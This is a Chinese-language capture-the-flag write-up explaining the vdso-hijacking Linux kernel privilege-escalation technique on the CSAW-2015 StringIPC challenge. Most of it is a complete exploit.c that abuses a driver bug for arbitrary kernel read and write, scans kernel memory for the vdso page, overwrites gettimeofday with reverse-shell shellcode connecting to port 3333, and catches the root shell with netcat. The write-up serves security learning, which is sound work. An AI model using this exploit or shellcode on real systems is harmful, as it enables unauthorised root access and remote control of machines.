Hijack vdso
VDSO就是Virtual Dynamic Shared Object,是內核提供的虛擬的.so,這個.so文件不在磁盤上,而是在內核裏頭。內核把包含某.so的內存頁在程序啓動的時候映射入其內存空間,對應的程序就可以當普通的.so來使用裏面的函數。Vdso裏面封裝了這幾個函數,其作用主要是加快對於某些對速度要求很高的系統調用,更多詳細信息可以查看https://blog.csdn.net/juana1/article/details/6904932
由於vdso是在內核裏,每個程序使用的時候,從內核裏映射給程序,如果我們事先在內核裏把vdso給劫持了,並把相應的函數覆蓋成我們的shellcode,然後,當其他程序要用的時候,從內核把我們篡改過的vdso映射過去,如果它正好調用了對應的函數,就會執行我們對應位置佈下的shellcode。當然普通權限的程序,調用我們的shellcode,也只是普通權限;如果有root權限的程序,調用我們的shellcode,那麼我們的shellcode也是以root權限執行。在linux中,crontab是帶有root權限的,並且它會不斷的調用vdso裏的gettimeofday函數,因此,我們如果把gettimeofday函數劫持爲shellcode,等待被調用即可。至於爲什麼可以劫持vdso,因爲vdso對於用戶程序,只讀、執行,而對於內核,它是RWX的,可以修改。因此只要利用漏洞,將對於函數修改爲shellcode,佈置在vdso的shellcode可以爲反彈shell的shellcode,也可以是再運行一個其他程序,其他程序將繼承權限。以CSAW-2015-StringIPC爲例。
CSAW-2015-StringIPC
爲了劫持vdso,首先需要知道vdso在內核裏的地址,查看內核映射圖,vdso在內核附近,因此我們確定範圍0xffffffff80000000——0xffffffffffffefff
0xffffffffffffffff ---+-----------+-----------------------------------------------+-------------+
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+
我們該以什麼爲依據來搜索vdso呢?
我們可以以當前程序的vdso裏字符串的偏移爲依據,在程序中,獲取當前的vdso地址的代碼如下
- //獲取vdso裏的字符串"gettimeofday"相對vdso.so的偏移
- int get_gettimeofday_str_offset() {
- //獲取當前程序的vdso.so加載地址0x7ffxxxxxxxx
- size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
- char* name = "gettimeofday";
- if (!vdso_addr) {
- errExit("[-]error get name's offset");
- }
- //僅需要搜索1頁大小即可,因爲vdso映射就一頁0x1000
- size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
- if (name_addr < 0) {
- errExit("[-]error get name's offset");
- }
- return name_addr - vdso_addr;
- }
我們先確定字符串,比如gettimeofday在vdso.so裏的偏移,通過這段代碼,即可確定,然後我們在指定的範圍內,一頁一頁(0x1000字節)的搜索,如果在當前一頁數據處偏移offset後是gettimeofday字符串,那麼,我們就能確定當前頁起始地址就是vdso在內核裏的地址。我們必須一頁一頁的搜索,這樣成功率高,因爲vdso的映射就一頁。
當我們搜索到vdso在內核的地址後,接下來,準備劫持gettimeofday函數,那麼,我們需要先確定gettimeofday在vdso內的偏移。我們可以用gdb把vdso給dump出來,再來分析。
首先,運行我們未寫完的exploit,得到vdso在內核中的地址
然後,我們用gdb target到虛擬機
接着dump出vdso.so,dump一頁大小即可
這樣,我們得到vdso.so,拖到IDA中,查看gettimeofday函數的偏移爲0xCB0,由此,我們計算出gettimeofday函數在內核中的地址,利用任意讀寫漏洞,覆蓋這裏爲我們shellcode即可。我們的shellcode是一個反彈shell的shellcode,它將shell反彈到本地端口3333。我們只需nc 本地端口3333即可。Shellcode可以自己編寫,也可以用現成的https://gist.github.com/itsZN/1ab36391d1849f15b785
綜上,我們exploit.c程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
//gettimeofday函數在vdso.so裏的偏移
//運行程序,得到vdso.so的地址
//用gdb dump出vdso.so文件,拿到IDA裏分析函數的地址
#define GETTIMEOFDAY_FUN 0xCB0
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct shrink_channel_args {
int id;
size_t size;
};
struct read_channel_args {
int id;
char *buf;
size_t count;
};
struct write_channel_args {
int id;
char *buf;
size_t count;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
void errExit(char *msg) {
puts(msg);
exit(-1);
}
//驅動的文件描述符
int fd;
//初始化驅動
void initFD() {
fd = open("/dev/csaw",O_RDWR);
if (fd < 0) {
errExit("[-] open file error!!");
}
}
//申請一個channel,返回id
int alloc_channel(size_t size) {
struct alloc_channel_args args;
args.buf_size = size;
args.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
if (args.id == -1) {
errExit("[-]alloc_channel error!!");
}
return args.id;
}
//改變channel的大小
void shrink_channel(int id,size_t size) {
struct shrink_channel_args args;
args.id = id;
args.size = size;
ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
struct seek_channel_args args;
args.id = id;
args.index = offset;
args.whence = whence;
ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//讀取數據
void read_channel(int id,char *buf,size_t count) {
struct read_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//寫數據
void write_channel(int id,char *buf,size_t count) {
struct write_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址讀
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
seek_channel(id,addr-0x10,SEEK_SET);
read_channel(id,buf,count);
}
//任意地址寫
//由於題目中使用了strncpy_from_user,遇到0就會截斷,因此,我們逐字節寫入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
for (int i=0;i<count;i++) {
seek_channel(id,addr+i-0x10,SEEK_SET);
write_channel(id,buf+i,1);
}
}
//獲取vdso裏的字符串"gettimeofday"相對vdso.so的偏移
int get_gettimeofday_str_offset() {
//獲取當前程序的vdso.so加載地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr) {
errExit("[-]error get name's offset");
}
//僅需要搜索1頁大小即可,因爲vdso映射就一頁0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
errExit("[-]error get name's offset");
}
return name_addr - vdso_addr;
}
//用於反彈shell的shellcode,127.0.0.1:3333
char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";
int main() {
char *buf = (char *)calloc(1,0x1000);
initFD();
//申請一個channel,大小0x100
int id = alloc_channel(0x100);
//改變channel大小,形成漏洞,實現任意地址讀寫
shrink_channel(id,0x101);
//獲取gettimeofday字符串在vdso.so裏的偏移
int gettimeofday_str_offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
size_t vdso_addr = -1;
for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
//讀取一頁數據
arbitrary_read(id,buf,addr,0x1000);
//如果在對應的偏移處,正好是這個字符串,那麼我們就能確定當前就是vdso的地址
//之所以能確定,是因爲我們每次讀取了0x1000字節數據,也就是1頁,而vdso的映射也只是1頁
if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
printf("[+]find vdso.so!!\n");
vdso_addr = addr;
printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
break;
}
}
if (vdso_addr == -1) {
errExit("[-]can't find vdso.so!!");
}
size_t gettimeofday_addr = vdso_addr + GETTIMEOFDAY_FUN;
printf("[+]gettimeofday function in kernel addr=0x%lx\n",gettimeofday_addr);
//將gettimeofday處寫入我們的shellcode,因爲寫操作在內核驅動裏完成,內核可以讀寫執行vdso
//用戶只能讀和執行vdso
arbitrary_write(id,shellcode,gettimeofday_addr,strlen(shellcode));
sleep(1);
printf("[+]open a shell\n");
system("nc -lvnp 3333");
return 0;
}
劫持vdso能夠成功提權的條件是有root權限的程序調用vdso。在真實環境下,crontab會調用,而在模擬的qemu裏,使用了一個程序來模擬
- #include <stdio.h>
- int main(){
- while(1){
- sleep(1);
- gettimeofday();
- }
- }
將它編譯後,在init啓動腳本里加入它。本題,自帶了這個程序來模擬。